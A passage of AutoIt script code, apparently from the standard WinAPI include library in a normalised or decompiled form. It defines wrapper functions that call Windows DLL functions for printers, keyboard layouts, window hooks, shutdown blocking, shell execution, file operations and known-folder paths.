IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETDEFAULTPRINTER ($SPRINTER )
LOCAL $ARESULT = DLLCALL ("winspool.drv" , "bool" , "SetDefaultPrinterW" , "wstr" , $SPRINTER )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETDLLDIRECTORY ($SDIRPATH = DEFAULT )
LOCAL $STYPEOFPATH = "wstr"
IF $SDIRPATH = DEFAULT THEN
$STYPEOFPATH = "ptr"
$SDIRPATH = 0
ENDIF
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetDllDirectoryW" , $STYPEOFPATH , $SDIRPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETKEYBOARDLAYOUT ($HWND , $ILANGUAGE , $IFLAGS = 0 )
IF NOT _WINAPI_ISWINDOW ($HWND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $HLOCALE = 0
IF $ILANGUAGE THEN
$HLOCALE = _WINAPI_LOADKEYBOARDLAYOUT ($ILANGUAGE )
IF NOT $HLOCALE THEN RETURN SETERROR (10 , 0 , 0 )
ENDIF
LOCAL CONST $WM_INPUTLANGCHANGEREQUEST = 80
DLLCALL ("user32.dll" , "none" , "SendMessage" , "hwnd" , $HWND , "uint" , $WM_INPUTLANGCHANGEREQUEST , "uint" , $IFLAGS , "uint_ptr" , $HLOCALE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SETKEYBOARDSTATE (BYREF $TSTATE )
LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "SetKeyboardState" , "struct*" , $TSTATE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETPROCESSSHUTDOWNPARAMETERS ($ILEVEL , $BDIALOG = FALSE )
LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetProcessShutdownParameters" , "dword" , $ILEVEL , "dword" , NOT $BDIALOG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETPROCESSWINDOWSTATION ($HSTATION )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetProcessWindowStation" , "handle" , $HSTATION )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETUSEROBJECTINFORMATION ($HOBJECT , $IINDEX , BYREF $TDATA )
IF $IINDEX <> 1 THEN RETURN SETERROR (10 , 0 , FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetUserObjectInformationW" , "handle" , $HOBJECT , "int" , 1 , "struct*" , $TDATA , "dword" , DLLSTRUCTGETSIZE ($TDATA ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWSHOOKEX ($IHOOK , $PPROC , $HDLL , $ITHREADID = 0 )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "SetWindowsHookEx" , "int" , $IHOOK , "ptr" , $PPROC , "handle" , $HDLL , "dword" , $ITHREADID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETWINEVENTHOOK ($IEVENTMIN , $IEVENTMAX , $PEVENTPROC , $IPID = 0 , $ITHREADID = 0 , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "SetWinEventHook" , "uint" , $IEVENTMIN , "uint" , $IEVENTMAX , "ptr" , 0 , "ptr" , $PEVENTPROC , "dword" , $IPID , "dword" , $ITHREADID , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHUTDOWNBLOCKREASONCREATE ($HWND , $STEXT )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShutdownBlockReasonCreate" , "hwnd" , $HWND , "wstr" , $STEXT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHUTDOWNBLOCKREASONDESTROY ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShutdownBlockReasonDestroy" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHUTDOWNBLOCKREASONQUERY ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShutdownBlockReasonQuery" , "hwnd" , $HWND , "wstr" , "" , "dword*" , 4096 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_SWITCHDESKTOP ($HDESKTOP )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SwitchDesktop" , "handle" , $HDESKTOP )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SYSTEMPARAMETERSINFO ($IACTION , $IPARAM = 0 , $VPARAM = 0 , $IWININI = 0 )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SystemParametersInfoW" , "uint" , $IACTION , "uint" , $IPARAM , "struct*" , $VPARAM , "uint" , $IWININI )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_TRACKMOUSEEVENT ($HWND , $IFLAGS , $ITIME = + 4294967295 )
LOCAL $TTME = DLLSTRUCTCREATE ("dword;dword;hwnd;dword" )
DLLSTRUCTSETDATA ($TTME , 1 , DLLSTRUCTGETSIZE ($TTME ) )
DLLSTRUCTSETDATA ($TTME , 2 , $IFLAGS )
DLLSTRUCTSETDATA ($TTME , 3 , $HWND )
DLLSTRUCTSETDATA ($TTME , 4 , $ITIME )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "TrackMouseEvent" , "struct*" , $TTME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UNHOOKWINDOWSHOOKEX ($HHOOK )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "UnhookWindowsHookEx" , "handle" , $HHOOK )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_UNHOOKWINEVENT ($HEVENTHOOK )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnhookWinEvent" , "handle" , $HEVENTHOOK )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UNLOADKEYBOARDLAYOUT ($HLOCALE )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnloadKeyboardLayout" , "handle" , $HLOCALE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UNREGISTERHOTKEY ($HWND , $IID )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnregisterHotKey" , "hwnd" , $HWND , "int" , $IID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UNREGISTERPOWERSETTINGNOTIFICATION ($HNOTIFY )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnregisterPowerSettingNotification" , "handle" , $HNOTIFY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC __ENUMPAGEFILESPROC ($ISIZE , $PINFO , $PFILE )
LOCAL $TEPFI = DLLSTRUCTCREATE ("dword;dword;ulong_ptr;ulong_ptr;ulong_ptr" , $PINFO )
__INC ($__G_VENUM )
$__G_VENUM [$__G_VENUM [0 ] [0 ] ] [0 ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & (_WINAPI_STRLEN ($PFILE ) + 1 ) & "]" , $PFILE ) , 1 )
FOR $I = 1 TO 3
$__G_VENUM [$__G_VENUM [0 ] [0 ] ] [$I ] = DLLSTRUCTGETDATA ($TEPFI , $I + 2 ) * $ISIZE
NEXT
RETURN 1
ENDFUNC
#EndRegion Internal Functions
#Region Global Variables and Constants
GLOBAL CONST $TAGNOTIFYICONDATA = "struct;dword Size;hwnd hWnd;uint ID;uint Flags;uint CallbackMessage;ptr hIcon;wchar Tip[128];dword State;dword StateMask;wchar Info[256];uint Version;wchar InfoTitle[64];dword InfoFlags;endstruct"
GLOBAL CONST $TAGNOTIFYICONDATA_V3 = $TAGNOTIFYICONDATA & ";" & $TAGGUID
GLOBAL CONST $TAGNOTIFYICONDATA_V4 = $TAGNOTIFYICONDATA_V3 & ";ptr hBalloonIcon;"
GLOBAL CONST $TAGSHELLEXECUTEINFO = "dword Size;ulong Mask;hwnd hWnd;ptr Verb;ptr File;ptr Parameters;ptr Directory;int Show;ulong_ptr hInstApp;ptr IDList;ptr Class;ulong_ptr hKeyClass;dword HotKey;ptr hMonitor;ptr hProcess"
GLOBAL CONST $TAGSHFILEINFO = "ptr hIcon;int iIcon;dword Attributes;wchar DisplayName[260];wchar TypeName[80]"
GLOBAL CONST $TAGSHFILEOPSTRUCT = "hwnd hWnd;uint Func;ptr From;ptr To;dword Flags;int fAnyOperationsAborted;ptr hNameMappings;ptr ProgressTitle"
GLOBAL CONST $TAGSHFOLDERCUSTOMSETTINGS = "dword Size;dword Mask;ptr GUID;ptr WebViewTemplate;dword SizeWVT;ptr WebViewTemplateVersion;ptr InfoTip;dword SizeIT;ptr CLSID;dword Flags;ptr IconFile;dword SizeIF;int IconIndex;ptr Logo;dword SizeL"
GLOBAL CONST $TAGSHSTOCKICONINFO = "dword Size;ptr hIcon;int SysImageIndex;int iIcon;wchar Path[260]"
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_DEFSUBCLASSPROC ($HWND , $IMSG , $WPARAM , $LPARAM )
LOCAL $ARET = DLLCALL ("comctl32.dll" , "lresult" , "DefSubclassProc" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DLLGETVERSION ($SFILEPATH )
LOCAL $TVERSION = DLLSTRUCTCREATE ("dword[5]" )
DLLSTRUCTSETDATA ($TVERSION , 1 , DLLSTRUCTGETSIZE ($TVERSION ) , 1 )
LOCAL $ARET = DLLCALL ($SFILEPATH , "uint" , "DllGetVersion" , "struct*" , $TVERSION )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
LOCAL $ARESULT [4 ]
FOR $I = 0 TO 3
$ARESULT [$I ] = DLLSTRUCTGETDATA ($TVERSION , 1 , $I + 2 )
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_FINDEXECUTABLE ($SFILENAME , $SDIRECTORY = "" )
LOCAL $ARESULT = DLLCALL ("shell32.dll" , "INT" , "FindExecutableW" , "wstr" , $SFILENAME , "wstr" , $SDIRECTORY , "wstr" , "" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARESULT [0 ] <= 32 THEN RETURN SETERROR (10 , $ARESULT [0 ] , "" )
RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [3 ] )
ENDFUNC
FUNC _WINAPI_GETALLUSERSPROFILEDIRECTORY ()
LOCAL $ARET = DLLCALL ("userenv.dll" , "bool" , "GetAllUsersProfileDirectoryW" , "wstr" , "" , "dword*" , 4096 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_GETDEFAULTUSERPROFILEDIRECTORY ()
LOCAL $ARET = DLLCALL ("userenv.dll" , "bool" , "GetDefaultUserProfileDirectoryW" , "wstr" , "" , "dword*" , 4096 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_GETWINDOWSUBCLASS ($HWND , $PSUBCLASSPROC , $IDSUBCLASS )
LOCAL $ARET = DLLCALL ("comctl32.dll" , "bool" , "GetWindowSubclass" , "hwnd" , $HWND , "ptr" , $PSUBCLASSPROC , "uint_ptr" , $IDSUBCLASS , "dword_ptr*" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $ARET [4 ]
ENDFUNC
FUNC _WINAPI_REMOVEWINDOWSUBCLASS ($HWND , $PSUBCLASSPROC , $IDSUBCLASS )
LOCAL $ARET = DLLCALL ("comctl32.dll" , "bool" , "RemoveWindowSubclass" , "hwnd" , $HWND , "ptr" , $PSUBCLASSPROC , "uint_ptr" , $IDSUBCLASS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETCURRENTPROCESSEXPLICITAPPUSERMODELID ($SAPPID )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SetCurrentProcessExplicitAppUserModelID" , "wstr" , $SAPPID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SETWINDOWSUBCLASS ($HWND , $PSUBCLASSPROC , $IDSUBCLASS , $PDATA = 0 )
LOCAL $ARET = DLLCALL ("comctl32.dll" , "bool" , "SetWindowSubclass" , "hwnd" , $HWND , "ptr" , $PSUBCLASSPROC , "uint_ptr" , $IDSUBCLASS , "dword_ptr" , $PDATA )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLADDTORECENTDOCS ($SFILEPATH )
LOCAL $STYPEOFFILE = "wstr"
IF STRINGSTRIPWS ($SFILEPATH , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$SFILEPATH = _WINAPI_PATHSEARCHANDQUALIFY ($SFILEPATH , 1 )
IF NOT $SFILEPATH THEN
RETURN SETERROR (1 , 0 , 0 )
ENDIF
ELSE
$STYPEOFFILE = "ptr"
$SFILEPATH = 0
ENDIF
DLLCALL ("shell32.dll" , "none" , "SHAddToRecentDocs" , "uint" , 3 , $STYPEOFFILE , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLCHANGENOTIFY ($IEVENT , $IFLAGS , $IITEM1 = 0 , $IITEM2 = 0 )
LOCAL $STYPEOFITEM1 = "dword_ptr" , $STYPEOFITEM2 = "dword_ptr"
IF ISSTRING ($IITEM1 ) THEN
$STYPEOFITEM1 = "wstr"
ENDIF
IF ISSTRING ($IITEM2 ) THEN
$STYPEOFITEM2 = "wstr"
ENDIF
DLLCALL ("shell32.dll" , "none" , "SHChangeNotify" , "long" , $IEVENT , "uint" , $IFLAGS , $STYPEOFITEM1 , $IITEM1 , $STYPEOFITEM2 , $IITEM2 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLCHANGENOTIFYDEREGISTER ($IID )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHChangeNotifyDeregister" , "ulong" , $IID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLCHANGENOTIFYREGISTER ($HWND , $IMSG , $IEVENTS , $ISOURCES , $APATHS , $BRECURSIVE = FALSE )
LOCAL $IPATH = $APATHS , $TAGSTRUCT = ""
IF ISARRAY ($APATHS ) THEN
IF UBOUND ($APATHS , $UBOUND_COLUMNS ) THEN RETURN SETERROR (1 , 0 , 0 )
ELSE
DIM $APATHS [1 ] = [$IPATH ]
ENDIF
FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295
IF NOT _WINAPI_PATHISDIRECTORY ($APATHS [$I ] ) THEN RETURN SETERROR (2 , 0 , 0 )
NEXT
FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295
$TAGSTRUCT &= "ptr;int;"
NEXT
LOCAL $TENTRY = DLLSTRUCTCREATE ($TAGSTRUCT )
FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295
$APATHS [$I ] = _WINAPI_SHELLILCREATEFROMPATH (_WINAPI_PATHSEARCHANDQUALIFY ($APATHS [$I ] ) )
DLLSTRUCTSETDATA ($TENTRY , 2 * $I + 1 , $APATHS [$I ] )
DLLSTRUCTSETDATA ($TENTRY , 2 * $I + 2 , $BRECURSIVE )
NEXT
LOCAL $IERROR = 0
LOCAL $ARET = DLLCALL ("shell32.dll" , "ulong" , "SHChangeNotifyRegister" , "hwnd" , $HWND , "int" , $ISOURCES , "long" , $IEVENTS , "uint" , $IMSG , "int" , UBOUND ($APATHS ) , "struct*" , $TENTRY )
IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 10
FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295
_WINAPI_COTASKMEMFREE ($APATHS [$I ] )
NEXT
RETURN SETERROR ($IERROR , 0 , $ARET [0 ] )
ENDFUNC
FUNC _WINAPI_SHELLCREATEDIRECTORY ($SFILEPATH , $HPARENT = 0 , $TSECURITY = 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHCreateDirectoryExW" , "hwnd" , $HPARENT , "wstr" , $SFILEPATH , "struct*" , $TSECURITY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLEMPTYRECYCLEBIN ($SROOT = "" , $IFLAGS = 0 , $HPARENT = 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHEmptyRecycleBinW" , "hwnd" , $HPARENT , "wstr" , $SROOT , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLEXECUTE ($SFILEPATH , $SARGS = "" , $SDIR = "" , $SVERB = "" , $ISHOW = 1 , $HPARENT = 0 )
LOCAL $STYPEOFARGS = "wstr" , $STYPEOFDIR = "wstr" , $STYPEOFVERB = "wstr"
IF NOT STRINGSTRIPWS ($SARGS , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFARGS = "ptr"
$SARGS = 0
ENDIF
IF NOT STRINGSTRIPWS ($SDIR , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFDIR = "ptr"
$SDIR = 0
ENDIF
IF NOT STRINGSTRIPWS ($SVERB , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFVERB = "ptr"
$SVERB = 0
ENDIF
LOCAL $ARET = DLLCALL ("shell32.dll" , "ULONG_PTR" , "ShellExecuteW" , "hwnd" , $HPARENT , $STYPEOFVERB , $SVERB , "wstr" , $SFILEPATH , $STYPEOFARGS , $SARGS , $STYPEOFDIR , $SDIR , "int" , $ISHOW )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
IF $ARET [0 ] <= 32 THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLEXECUTEEX (BYREF $TSHEXINFO )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "ShellExecuteExW" , "struct*" , $TSHEXINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLEXTRACTASSOCIATEDICON ($SFILEPATH , $BSMALL = FALSE )
LOCAL $IFLAGS = 256
IF NOT _WINAPI_PATHISDIRECTORY ($SFILEPATH ) THEN
$IFLAGS = BITOR ($IFLAGS , 16 )
ENDIF
IF $BSMALL THEN
$IFLAGS = BITOR ($IFLAGS , 1 )
ENDIF
LOCAL $TSHFILEINFO = DLLSTRUCTCREATE ($TAGSHFILEINFO )
IF NOT _WINAPI_SHELLGETFILEINFO ($SFILEPATH , $IFLAGS , 0 , $TSHFILEINFO ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TSHFILEINFO , "hIcon" )
ENDFUNC
FUNC _WINAPI_SHELLEXTRACTICON ($SICON , $IINDEX , $IWIDTH , $IHEIGHT )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHExtractIconsW" , "wstr" , $SICON , "int" , $IINDEX , "int" , $IWIDTH , "int" , $IHEIGHT , "ptr*" , 0 , "ptr*" , 0 , "int" , 1 , "int" , 0 )
IF @ERROR OR NOT $ARET [0 ] OR NOT $ARET [5 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [5 ]
ENDFUNC
FUNC _WINAPI_SHELLFILEOPERATION ($SFROM , $STO , $IFUNC , $IFLAGS , $STITLE = "" , $HPARENT = 0 )
LOCAL $IDATA
IF NOT ISARRAY ($SFROM ) THEN
$IDATA = $SFROM
DIM $SFROM [1 ] = [$IDATA ]
ENDIF
LOCAL $TFROM = _WINAPI_ARRAYTOSTRUCT ($SFROM )
IF @ERROR THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
IF NOT ISARRAY ($STO ) THEN
$IDATA = $STO
DIM $STO [1 ] = [$IDATA ]
ENDIF
LOCAL $TTO = _WINAPI_ARRAYTOSTRUCT ($STO )
IF @ERROR THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 )
LOCAL $TSHFILEOPSTRUCT = DLLSTRUCTCREATE ($TAGSHFILEOPSTRUCT )
DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "hWnd" , $HPARENT )
DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "Func" , $IFUNC )
DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "From" , DLLSTRUCTGETPTR ($TFROM ) )
DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "To" , DLLSTRUCTGETPTR ($TTO ) )
DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "Flags" , $IFLAGS )
DLLSTRUCTSETDATA ($TSHFILEOPSTRUCT , "ProgressTitle" , $STITLE )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHFileOperationW" , "struct*" , $TSHFILEOPSTRUCT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $TSHFILEOPSTRUCT
ENDFUNC
FUNC _WINAPI_SHELLFLUSHSFCACHE ()
DLLCALL ("shell32.dll" , "none" , "SHFlushSFCache" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLGETFILEINFO ($SFILEPATH , $IFLAGS , $IATTRIBUTES , BYREF $TSHFILEINFO )
LOCAL $ARET = DLLCALL ("shell32.dll" , "dword_ptr" , "SHGetFileInfoW" , "wstr" , $SFILEPATH , "dword" , $IATTRIBUTES , "struct*" , $TSHFILEINFO , "uint" , DLLSTRUCTGETSIZE ($TSHFILEINFO ) , "uint" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLGETICONOVERLAYINDEX ($SICON , $IINDEX )
LOCAL $STYPEOFICON = "wstr"
IF NOT STRINGSTRIPWS ($SICON , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFICON = "ptr"
$SICON = 0
ENDIF
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "SHGetIconOverlayIndexW" , $STYPEOFICON , $SICON , "int" , $IINDEX )
IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLGETKNOWNFOLDERIDLIST ($SGUID , $IFLAGS = 0 , $HTOKEN = 0 )
LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID )
LOCAL $ARET = DLLCALL ("ole32.dll" , "uint" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID )
IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
$ARET = DLLCALL ("shell32.dll" , "uint" , "SHGetKnownFolderIDList" , "struct*" , $TGUID , "dword" , $IFLAGS , "handle" , $HTOKEN , "ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [4 ]
ENDFUNC
FUNC _WINAPI_SHELLGETKNOWNFOLDERPATH ($SGUID , $IFLAGS = 0 , $HTOKEN = 0 )
LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID )
LOCAL $ARET = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID )
IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , "" )
$ARET = DLLCALL ("shell32.dll" , "long" , "SHGetKnownFolderPath" , "struct*" , $TGUID , "dword" , $IFLAGS , "handle" , $HTOKEN , "ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
LOCAL $SPATH = _WINAPI_GETSTRING ($ARET [4 ] )
_WINAPI_COTASKMEMFREE ($ARET [4 ] )
RETURN $SPATH
ENDFUNC
FUNC _WINAPI_SHELLGETLOCALIZEDNAME ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHGetLocalizedName" , "wstr" , $SFILEPATH , "wstr" , "" , "uint*" , 0 , "int*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
LOCAL $ARESULT [2 ]
LOCAL $ARET1 = DLLCALL ("kernel32.dll" , "dword" , "ExpandEnvironmentStringsW" , "wstr" , $ARET [2 ] , "wstr" , "" , "dword" , 4096 )
$ARESULT [0 ] = $ARET1 [2 ]
$ARESULT [1 ] = $ARET [4 ]
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_SHELLGETPATHFROMIDLIST ($PPIDL )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHGetPathFromIDListW" , "struct*" , $PPIDL , "wstr" , "" )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_SHELLGETSETFOLDERCUSTOMSETTINGS ($SFILEPATH , $IFLAG , BYREF $TSHFCS )
LOCAL $SPROC = "SHGetSetFolderCustomSettings"
IF $__WINVER < 1536 THEN $SPROC &= "W"
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , $SPROC , "struct*" , $TSHFCS , "wstr" , $SFILEPATH , "dword" , $IFLAG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLGETSETTINGS ($IFLAGS )
LOCAL $TSHELLSTATE = DLLSTRUCTCREATE ("uint[8]" )
DLLCALL ("shell32.dll" , "none" , "SHGetSetSettings" , "struct*" , $TSHELLSTATE , "dword" , $IFLAGS , "bool" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $IVAL1 = DLLSTRUCTGETDATA ($TSHELLSTATE , 1 , 1 )
LOCAL $IVAL2 = DLLSTRUCTGETDATA ($TSHELLSTATE , 1 , 8 )
LOCAL $IRESULT = 0
